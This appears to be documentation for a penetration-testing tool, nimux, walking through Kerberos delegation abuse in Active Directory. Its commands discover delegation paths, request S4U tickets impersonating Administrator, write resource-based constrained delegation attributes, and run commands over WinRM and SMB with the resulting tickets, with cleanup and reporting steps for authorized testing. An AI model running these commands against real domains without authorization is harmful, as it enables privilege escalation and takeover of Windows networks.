Delegation and RBCD with nimux
A neutral nimux workflow for constrained delegation, S4U, RBCD discovery, RBCD writes, service ticket requests, and Kerberos-backed validation.
Overview
Delegation paths are common in multi-service Windows environments. Constrained delegation, protocol transition, and resource-based constrained delegation can allow one principal to obtain service tickets as another principal for specific services.
nimux supports LDAP delegation discovery, RBCD writes, Kerberos S4U requests, ccache handling, and Kerberos-backed remote execution.
Discover delegation paths
Start with LDAP discovery.
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--query constrained \
--json > constrained.jsonlnimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--query rbcd-targets \
--json > rbcd-targets.jsonlCollect BloodHound style output if you need graph analysis:
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--bloodhound \
--bloodhound-out bh-delegationRequest a delegated service ticket
If a service account has constrained delegation rights and you have a valid cache for it, request S4U output.
nimux kerberos dc01.corp.local -d corp.local \
--request s4u \
--ccache service-account.ccache \
--user Administrator \
--service cifs/server01.corp.local \
--out administrator-cifs-server01.ccacheUse --altservice only when the delegation path and target service justify it:
nimux kerberos dc01.corp.local -d corp.local \
--request s4u \
--ccache service-account.ccache \
--user Administrator \
--service HTTP/server01.corp.local \
--altservice cifs/server01.corp.local \
--out administrator-cifs-server01.ccacheConfigure RBCD when authorized
If the operator controls a computer account and has permission to write RBCD on the target computer, use the built-in shortcut and rollback output.
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--set-rbcd \
--from controlled-computer$ \
--to target-server$ \
--rollback-out rbcd-rollback.jsonlThen request the delegated ticket:
nimux kerberos dc01.corp.local -d corp.local \
--request rbcd \
--ccache controlled-computer.ccache \
--user Administrator \
--service WSMAN/target-server.corp.local \
--out administrator-wsman-target.ccacheValidate with Kerberos-backed execution
Use the resulting ccache for a low-impact check:
nimux winrm target-server.corp.local -d corp.local -k \
--ccache administrator-wsman-target.ccache \
--cmd whoamiIf the proof requires SMB instead, request a CIFS ticket and validate with SMB or file operations:
nimux kerberos dc01.corp.local -d corp.local \
--request rbcd \
--ccache controlled-computer.ccache \
--user Administrator \
--service cifs/target-server.corp.local \
--out administrator-cifs-target.ccachenimux smb target-server.corp.local -d corp.local -k \
--ccache administrator-cifs-target.ccache \
--sharesCleanup
RBCD writes modify msDS-AllowedToActOnBehalfOfOtherIdentity. Remove the change when validation is complete and verify the attribute state.
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
--query rbcd-targets \
--json > rbcd-postcheck.jsonlReporting
Delegation findings should name the service account, target service, impersonated principal, ticket type, target host, and rollback status. The finding is the delegation relationship, not just successful command execution.